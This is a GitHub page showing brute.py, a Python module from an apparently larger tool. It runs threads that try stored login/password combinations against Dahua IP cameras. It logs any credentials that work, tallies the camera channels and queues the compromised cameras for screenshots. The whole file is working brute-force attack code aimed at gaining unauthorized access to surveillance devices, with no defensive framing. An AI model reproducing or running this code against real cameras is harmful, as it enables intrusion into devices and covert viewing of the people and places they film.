-
Notifications
You must be signed in to change notification settings - Fork 42
/
Copy pathbrute.py
56 lines (50 loc) · 2.01 KB
/
brute.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import logging
import socket
import threading
import config
from dahua import DahuaController, Status
class BruteThread(threading.Thread):
def __init__(self, brute_queue, screenshot_queue):
threading.Thread.__init__(self)
self.brute_queue = brute_queue
self.screenshot_queue = screenshot_queue
def run(self):
while True:
host = self.brute_queue.get()
self.dahua_auth(host)
self.brute_queue.task_done()
def dahua_login(self, ip, port, login, password):
with threading.Lock():
config.update_status()
logging.debug(f'Login attempt: {ip} with {login}:{password}')
dahua = DahuaController(ip, port, login, password)
if dahua.status is Status.SUCCESS:
logging.debug(f'Success login: {dahua.ip} with {login}:{password}')
return dahua
elif dahua.status is Status.BLOCKED:
logging.debug(f'Blocked camera: {dahua.ip}:{dahua.port}')
return Status.BLOCKED
else:
logging.debug(f'Unable to login: {dahua.ip}:{dahua.port} with {login}:{password}')
return Status.NONE
def dahua_auth(self, host):
ip = host[0]
port = int(host[1])
for combination in config.combinations:
login = combination[0]
password = combination[1]
try:
res = self.dahua_login(ip, port, login, password)
if res is Status.BLOCKED:
break
if res is Status.NONE:
continue
config.working_hosts.append([res.ip, res.port, res.login, res.password, res])
config.ch_count += res.channels_count
self.screenshot_queue.put(res)
return
except socket.timeout as e:
logging.debug(f'Timeout error: {ip}:{port} - {str(e)}')
return
except Exception as e:
logging.debug(f'Connection error: {ip}:{port} - {str(e)}')